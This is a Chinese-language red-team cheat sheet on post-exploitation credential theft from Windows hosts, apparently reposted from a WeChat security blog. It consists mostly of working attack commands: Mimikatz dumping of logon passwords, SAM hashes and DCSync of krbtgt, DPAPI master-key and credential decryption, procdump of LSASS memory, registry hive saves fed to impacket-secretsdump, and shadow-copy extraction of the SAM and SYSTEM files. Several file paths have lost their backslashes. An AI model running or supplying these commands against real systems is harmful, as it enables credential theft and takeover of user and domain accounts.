LSASS保护
LSASS 被配置为作为受保护进程 (PPL) 运行,您可以使用 PowerShell 进行查询。
Get-ItemProperty -Path HKLM:SYSTEMCurrentControlSetControlLsa -Name "RunAsPPL"
如果是这种情况,您不能只是转储或解析 LSASS,您需要使用类似mimidrv.sys,PPLDump等
使用 Mimikatz 转储操作系统凭据
# Dump logon passwords
sekurlsa::logonpasswords
# Dump all domain hashes from a DC
## Note: Everything with /patch is noisy as heck since it writes to LSASS 🚩
lsadump::lsa /patch
# Dump only local users
lsadump::sam
# DCSync (requires 'ldap' SPN)
lsadump::dcsync /user:DOMAINkrbtgt /domain:targetdomain.com
# Dump Windows secrets, such as stored creds for scheduled tasks (elevate first) 🚩
vault::list
vault::cred /patch
使用 Mimikatz 滥用数据保护 API (DPAPI)
Mimikatz 有相当多的功能可以访问 Windows 的 DPAPI,它用于加密许多凭据,例如浏览器密码。
需要注意的是Mimikatz会自动缓存主密钥,有高速缓存dpapi::cache,但是这确实不是如果没有Mimikatz会话持续工作(如钴攻击或使用时Invoke-Mimikatz)
# Find the IDs of protected secrets for a specific user
dir C:Users[USERNAME]AppDataLocalMicrosoftCredentials
# Get information, including the used master key ID, from a specific secret (take the path from above)
dpapi::cred /in:C:Users[USERNAME]AppDataLocalMicrosoftCredentials1EF01CC92C17C670AC9E57B53C9134F3
# IF YOU ARE PRIVILEGED
# Dump all master keys from the current system
sekurlsa::dpapi
# IF YOU ARE NOT PRIVILEGED (session as target user required)
# Get the master key from the domain using RPC (the path contains the user SID, and then the ID of the masterkey identified in the previous step)
dpapi::masterkey /rpc /in:C:Users[USERNAME]AppDataRoamingMicrosoftProtectS-1-5-21-3865823697-1816233505-1834004910-1124dd89dddf-946b-4a80-9fd3-7f03ebd41ff4
# Decrypt the secret using the retrieved master key
# Alternatively, leave out /masterkey and add /unprotect to decrypt the secret using the cached master key (see above for caveats)
dpapi::cred /in:C:Users[USERNAME]]AppDataLocalMicrosoftCredentials1EF01CC92C17C670AC9E57B53C9134F3 /masterkey:91721d8b1ec[...]e0f02c3e44deece5f318ad
LSASS
运行Mimikatz的首选方式是在本地进行,并从目标机上转储LSASS内存的副本。Dumpert、Procdump或其他(自定义)工具可用于转储LSASS内存。
# Dump LSASS memory through a process snapshot (-r), avoiding interacting with it directly
.procdump.exe -r -ma lsass.exe lsass.dmp
在我们的攻击系统上下载内存转储文件后,我们可以运行Mimikatz并切换到 "Minidump "模式,以解析该文件,如下所示。在此之后,我们可以像往常一样运行Mimikatz的凭证检索命令。
sekurlsa::minidump lsass.dmp
从注册表中转储
我们可以从注册表中转储机密并“离线”解析文件以获取系统列表。
reg.exe save hklmsam c:userspublicdownloadssam.save
reg.exe save hklmsystem c:userspublicdownloadssystem.save
reg.exe save hklmsecurity c:userspublicdownloadssecurity.save
然后在我们的攻击箱上,我们可以使用 Impacket 转储
impacket-secretsdump -sam sam.save -system system.save -security security.save LOCAL > secrets.out
从卷影副本Volume Shadow中转储
我们还可以创建SAM和SYSTEM文件的“卷影副本” (它们始终锁定在当前系统上)因此我们仍然可以将它们复制到我们的本地系统,为此需要提升提示。
wmic shadowcopy call create Volume='C:'
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowssystem32configsam C:userspublicsam.save
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy1windowssystem32configsystem C:userspublicsystem.save
往期推荐:
原文始发于微信公众号(Khan安全攻防实验室):红队笔记 - 后渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论